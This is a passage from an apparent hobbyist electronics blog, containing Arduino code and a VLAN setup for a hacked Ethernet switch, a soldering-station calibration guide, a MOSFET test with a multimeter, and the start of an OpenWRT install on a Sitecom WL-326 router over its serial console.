<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Insert default VID for untagged traffic:"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> vid <span style="color: navy;">=</span> getInt<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> vid <span style="color: navy;"><</span> <span style="color: #0000dd;">0</span> <span style="color: #000040;">||</span> vid <span style="color: navy;">></span> <span style="color: #0000dd;">15</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Invalid VID"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">3</span><span style="color: #000040;">+</span>chp<span style="color: #000040;">-</span><span style="color: #0000dd;">1</span>,vid<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveSettings<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"OK"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">==</span> <span style="color: #0000dd;">5</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k <span style="color: navy;"><</span> <span style="color: #0000dd;">8</span><span style="color: teal;">;</span> k<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Port "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span>k<span style="color: #000040;">+</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">" Link "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> r <span style="color: navy;">=</span> readReg<span style="color: green;">(</span>k,<span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> <span style="color: green;">(</span>r <span style="color: navy;">>></span> <span style="color: #0000dd;">2</span><span style="color: green;">)</span> <span style="color: #000040;">&</span> <span style="color: #208080;">0x1</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"UP "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">else</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"DOWN "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">==</span> <span style="color: #0000dd;">6</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Are you sure you want to load factory defaults ( y = yes ): "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">while</span><span style="color: green;">(</span> Serial.<span style="color: #007788;">available</span><span style="color: green;">(</span><span style="color: green;">)</span> <span style="color: navy;"><=</span> <span style="color: #0000dd;">0</span><span style="color: green;">)</span> <span style="color: green;">{</span><span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> Serial.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: green;">)</span> <span style="color: #000040;">!</span><span style="color: navy;">=</span> <span style="color: red;">'y'</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
EEPROM.<span style="color: #007788;">write</span><span style="color: green;">(</span><span style="color: #0000dd;">0</span>,<span style="color: #208080;">0x00</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
loadApplySettings<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<br /></div>
</li>
</ol>
Don't worry about line-numbers, they won't appear when copypasted to a text editor
<br />
<br />
outBit and inBit generate a clock cycle on MDC while reading or writing an output value to/from MDIO<br />
<br />
readReg reads an entire register by submitting read command, phy address and reg address<br />
<br />
writeReg writes an entire register by submitting a write command together with phy address, reg address and the 16 bit value to write.<br />
<br />
The switch itself works in a fairly simple way, you can assign which ports belongs to a VLAN ( that is independent from whether the packets will be tagged or not) and then you can configure how to treat untagged packet and what to do when a packet from a VID port group goes out of a port.<br />
<br />
For example if you want to use port 1 as trunking port ( multiple vlan tagged networks on the same physical port ) , and you want to tag untagged traffic from ports 2,3,4 with vlan ids 2,3,4 you have to:<br />
<br />
<ul>
<li>Assign ports 1,2 to VID 2</li>
<li>Assign ports 1,3 to VID 3</li>
<li>Assign ports 1,4 to VID 4</li>
<li>Set ports 2,3,4 to remove VLAN tags from outgoing packets</li>
<li>Set port 1 to add VLAN tag to outgoing packets</li>
<li>Set default VID for untagged traffic of port 2 to 2</li>
<li>Set default VID for untagged traffic of port 3 to 3</li>
<li>Set default VID for untagged traffic of port 4 to 4</li>
</ul>
With that configuration for example you will be able to connect 3 different networks to a single ethernet cable, which may be useful when you have a radio tower with multiple devices on it and only a single cable going to the ground equipment.<br />
<br />
That's just the beginning, similiar mods can in most of the cases be done on all switches and probably with more features on newer ( gigabit ones ) switches.<br />
<br />
You could also use a raspberry to manage the switch instead of an arduino to be able to work on it from ethernet with some nice web interface.<br />
<br />
<br />
<br />
<ul></ul>
<br />Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com4tag:blogger.com,1999:blog-413688212424257444.post-83638489005126899902015-08-18T07:49:00.001-07:002015-08-18T07:49:52.116-07:00Calibrating YIHUA 898D soldering stationWhen you buy an 898D soldering station there's a very high chance that it is completely uncalibrated, leading to burnt/damaged parts and other kinds of problems since most of the times it is calibrated to give much higher temperature.<br />
<br />
For that procedure you are going to need:<br />
<br />
<br />
<ul>
<li>A cross-head screwdriver to open the 898D</li>
<li>A flat-head screwdriver at most 2 mm wide to rotate the potentiometers</li>
<li>A thermocouple thermometer</li>
<li>An IR thermometer</li>
</ul>
First of all , set both temperatures at 230 C° and disconnect the power cord because part of the board is directly connected to mains<br />
<div>
To open the soldering station , remove the four screws around the front panel</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOEUW35jgnYQ5zAPnmkrw9fhA37_daJU-RuOKVT8p3xDj0UMBeiQnQbbpKwT-MEBCfNifvjKU4leheUXD140HSsT0izRXGmIulUGLorGmfq1VF7A0oR31ME-U2htNTUlqh7q5A7Ax_-nYB/s1600/step1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOEUW35jgnYQ5zAPnmkrw9fhA37_daJU-RuOKVT8p3xDj0UMBeiQnQbbpKwT-MEBCfNifvjKU4leheUXD140HSsT0izRXGmIulUGLorGmfq1VF7A0oR31ME-U2htNTUlqh7q5A7Ax_-nYB/s320/step1.jpg" width="212" /></a></div>
<span id="goog_171301399"></span><span id="goog_171301400"></span>Once removed the front panel you should have a board like the one below:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFTmpMRKsX185uQZ5mo0qBc1bnimRduMETLZKPOcirAjAr5f7HINh1uRjAMIDrMVUYMB8UXZGXbZRvOd9lSt-YFb8reAYAYD1EecCGlceyIWu00KddpVC5vWDitUEQCowmP94vkPrw7T96/s1600/step2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFTmpMRKsX185uQZ5mo0qBc1bnimRduMETLZKPOcirAjAr5f7HINh1uRjAMIDrMVUYMB8UXZGXbZRvOd9lSt-YFb8reAYAYD1EecCGlceyIWu00KddpVC5vWDitUEQCowmP94vkPrw7T96/s320/step2.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
That board has two trimmers, one is to adjust smd rework gun , the other one is to adjust soldering iron temperature.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
First start with hot air gun, after you made sure that no metal is touching the board and you are not touching the board, plug the power again, and heat a piece of paper with the hot air gun.<br />Place on one side of the paper the hot air gun, on the other side an IR thermometer.<br />If you read 220-235 C° it's ok, if you read temperatures like 260 or 280 C° or 200 C° you definetely need to adjust it.<br />To do that take a small flathead screwdriver and with the soldering station disconnected from mains if the air is hotter than it should be , rotate like 1-2 turns the potentiometer counter-clockwise, otherwise rotate it of the same amount clockwise, and plug again the power and check if the temperature is in an acceptable range, if not repeat the above step with smaller adjustements.</div>
<div class="separator" style="clear: both; text-align: left;">
<br />When you have done with hot air gun start working on the soldering iron, place some excess solder on it's tip and put it in contact of a shielded thermocouple</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwNh9wHan-cY9fV_X59EkvwRNaXzZT4vU-uDBLvZT_xKExOW5WDz9Bom77vbfNBchmxtnMWdQJDSu0F0TqHrDs6VCoA5tR9thcBk2QO_2GJiOgoLu-wVIZr_UjoJ48WGkaZ8QzZwJ1v9s2/s1600/DSC_0593.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwNh9wHan-cY9fV_X59EkvwRNaXzZT4vU-uDBLvZT_xKExOW5WDz9Bom77vbfNBchmxtnMWdQJDSu0F0TqHrDs6VCoA5tR9thcBk2QO_2GJiOgoLu-wVIZr_UjoJ48WGkaZ8QzZwJ1v9s2/s320/DSC_0593.JPG" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let it stay like 3-4 mins and then check the temperature reading of the thermocouple, if it is less than 210 C° or more than 240 C° you need to calibrate that too, proceed as follows:</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<ol>
<li>If temperature is higher than it should be, rotate like 1/4 of turn the soldering iron potentiometer clockwise ( contrary to the hot air gun one ), you should do that with the power connected so BE VERY CAREFUL to not touch any part on the board except the potentiometer with the screwdriver when doing that.<br />If the temperature is lower than it rotate it 1/4 of turn counter-clockwise.<br /></li>
<li>If temperature was higher than needed, blow some air at the thermocouple+soldering iron tip to lower the temperature and wait for it to rise</li>
<li>After like 2 minutes, check if temperature still needs adjustement, if yes repeat from step1 with smaller rotations.</li>
</ol>
<br /><br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmQytKeaU075W95vH0dVndQo4sAgNCfLsFX-dGHtNrTKZzjdPbB8GElq0SDvugZKeiczorUxgjioFkilXR0GoxsQDipMVhIf-br_yxe4EcqMwMHtoBMmJRW875qMiZzQFmW8tdU-o6sc57/s1600/DSC_0595.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmQytKeaU075W95vH0dVndQo4sAgNCfLsFX-dGHtNrTKZzjdPbB8GElq0SDvugZKeiczorUxgjioFkilXR0GoxsQDipMVhIf-br_yxe4EcqMwMHtoBMmJRW875qMiZzQFmW8tdU-o6sc57/s320/DSC_0595.JPG" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">I'm using a pid controller as a thermometer because it's the only thermocouple based thermometer that i have at the moment</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After that reassemble everything and you are done.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-61933219686560239272015-07-22T09:21:00.001-07:002015-07-22T09:21:54.188-07:00How to easily test an N-CHANNEL or P-CHANNEL MOSFET using just a multimeter You should have noticed that most multimeters come with a function to test BJT transistors, but none has a function to test the today's more common MOSFETs<br />
<br />
Here are the steps to test an N-CHANNEL mosfet with just a multimeter ( applies to P-CHANNEL too, just swap + and - ), of course the MOSFET has to be disconnected completely.<br />
<br />
<br />
<ol>
<li>Make sure you are not wearing shoes and so that you don't have any electrostatic charge, FETs are very delicate to ESD.</li>
<li>Now touch with your finger both Gate and Source terminals, this will make sure that the gate is uncharged</li>
<li>Put your multimeter in diode/continuity test mode ( beep mode )</li>
<li>Touch with the negative lead the source pin, and with positive lead the drain, it should not beep and show > 999 ohm, if there's current flowing, after making sure again that gate is discharged, the MOSFET is damaged.</li>
<li>Touch with the negative lead the source pin and with positive lead the gate pin, no current should flow, if current flows it means that the oxide layer between gate and substrate or N junctions has been broken by a gate-source overvoltage or ESD, trash the mosfet if that is the case.</li>
<li>Now WITHOUT touching the gate terminal at all, touch the drain pin with positive lead and source pin with negative lead, you should get the multimeter to beep and a very low resistance reading</li>
</ol>
Finally, before trashing any mosfets, make sure that the method works with most of them using your multimeter ( there may be some multimeters that use too low voltage in continuity test mode and thus not reaching Vt threshold of the mosfet ).<br />
To avoid ESD damage always store your MOSFETS with all pins joined together using aluminum foil or copper strands.Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-27363043854082857832015-07-15T15:54:00.002-07:002015-07-15T16:21:22.484-07:00Installing OpenWRT on SITECOM WL-326The SITECOM WL-326 is an ethernet+3g router featuring 300 Mbps wireless and an usb port to connect a 3G modem.<br />
<br />
This device is not officially supported by OpenWRT and not very common, so there's basically zero info on it at the moment.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7Mt4Rkf160AB1CoEHtQtwyV_ATvfQDlYKPXDsJe5vFfXi83KBAQ7gV0uM8basArbuRqEKYzuZ1ioJfQY7-NWYpe2ZJXP9KitH9AATRgFWi6-at5PIMn3w9G3l-mLRKzUky6LlfH-NNrWZ/s1600/DSC_0539.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7Mt4Rkf160AB1CoEHtQtwyV_ATvfQDlYKPXDsJe5vFfXi83KBAQ7gV0uM8basArbuRqEKYzuZ1ioJfQY7-NWYpe2ZJXP9KitH9AATRgFWi6-at5PIMn3w9G3l-mLRKzUky6LlfH-NNrWZ/s320/DSC_0539.jpg" width="320" /></a></div>
<br />
<br />
First thing is to find out which SoC it uses, since it is covered by an heat spreader, best idea that does not involve the risk of destroying the board is connecting an USB-TTL adapter to the serial port which is visible on the photos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSzTYU_M7nEovgAbG36kUNlVmdLqEDMW9alBw6ju-Dhj8m-qO7HzdsoK_GYHxAUfvw3G_KHsMBuH8UOQ_QiCjDkrbtpcYrUWKw9Jqk5fXM_wEFOXvfkEvhdAvlkMmZ1ph3tv9m0Jdc92yo/s1600/DSC_0542.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSzTYU_M7nEovgAbG36kUNlVmdLqEDMW9alBw6ju-Dhj8m-qO7HzdsoK_GYHxAUfvw3G_KHsMBuH8UOQ_QiCjDkrbtpcYrUWKw9Jqk5fXM_wEFOXvfkEvhdAvlkMmZ1ph3tv9m0Jdc92yo/s320/DSC_0542.JPG" width="320" /></a></div>
<br />
<br />
Luckly contrary to most cases, the PCB has already written on it which pins are RX,TX,GND, so it's just matter of soldering a female o male strip header, and connect it to the adapter.<br />
<br />
Serial port settings are 57600 8N1, and when connecting the power to the device, it's immediately visible that it is a rebrand of another device, the ESR-6670 <a href="http://wiki.openwrt.org/toh/engenius/esr6670">http://wiki.openwrt.org/toh/engenius/esr6670</a>.<br />
Still no luck, it's not supported either, but at least now we know what SoC it uses, which is Ralink 3052.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk1jF5AwdYxwAdp-B5YOfHcd1fI6X3kk4e76A004esM4oJ2MwSigXOoGbDtUZKKjnKYckBQUNx4O16O8zORkNYGsktrPbNzwOd1ATYYarJSvP86ghpfXXwbC2BBJ8IDcOkao2eS14CyUgU/s1600/DSC_0544.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk1jF5AwdYxwAdp-B5YOfHcd1fI6X3kk4e76A004esM4oJ2MwSigXOoGbDtUZKKjnKYckBQUNx4O16O8zORkNYGsktrPbNzwOd1ATYYarJSvP86ghpfXXwbC2BBJ8IDcOkao2eS14CyUgU/s320/DSC_0544.JPG" width="320" /></a></div>
<br />
<br />
Now the tricky part, bootloader only shows one option, contrary to most supported routers<br />
<br />
<pre class="code" style="background: rgba(255, 255, 255, 0.901961); border-radius: 2px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(204, 204, 204) 0px 0px 0.5em inset; color: #333333; direction: ltr; font-family: Consolas, 'Andale Mono WT', 'Andale Mono', 'Bitstream Vera Sans Mono', 'Nimbus Mono L', Monaco, 'Courier New', monospace; font-size: 14px; line-height: 19.6000003814697px; margin-bottom: 1.4em; overflow: auto; padding: 0.7em 1em; word-wrap: normal;">Board: Ralink APSoC DRAM: 32 MB 1*32 MB
============================================
ASIC 3052_MP2 (Port5<->None)
Product Name: ESR-6670
SDRAM CAS = 3(d1835272)
============================================
Please choose the operation:
1: Load system code to SDRAM via TFTP. </pre>
<br />
So the only option is just to try it, worst case scenario if it goes wrong we'll have to reverse engineer the (likely) jtag connector visible on the photo.<br />
<br />
This command will ask you some parameters, first one is the router IP, just hit enter ( leaving it as it is )<br />
second one is the TFTP server IP, a default one will be shown.<br />
<br />
<pre class="code" style="background: rgba(255, 255, 255, 0.901961); border-radius: 2px; border: 1px solid rgb(204, 204, 204); box-shadow: rgb(204, 204, 204) 0px 0px 0.5em inset; color: #333333; direction: ltr; font-family: Consolas, 'Andale Mono WT', 'Andale Mono', 'Bitstream Vera Sans Mono', 'Nimbus Mono L', Monaco, 'Courier New', monospace; font-size: 14px; line-height: 19.6000003814697px; margin-bottom: 1.4em; overflow: auto; padding: 0.7em 1em; word-wrap: normal;">Board: Ralink APSoC DRAM: 32 MB 1*32 MB
============================================
ASIC 3052_MP2 (Port5<->None)
Product Name: ESR-6670
SDRAM CAS = 3(d1835272)
============================================
Please choose the operation:
1: Load system code to SDRAM via TFTP.
1: System Load Linux to SDRAM via TFTP.
Please Input new ones /or Ctrl-C to discard
Input device IP (192.168.99.9) ==:
Input server IP (192.168.99.8) ==:
Input Linux Kernel filename (40.7z) ==:rd.bin
Using Eth0 device
TFTP from server 192.168.99.8; our IP address is 192.168.99.9
Filename 'a.dlf'.
Loading: *
ArpTimeoutCheck
Got ARP REPLY, set server/gtwy eth addr (54:42:49:5f:d3:1b)
Got it
T #
first block received
</pre>
<br />
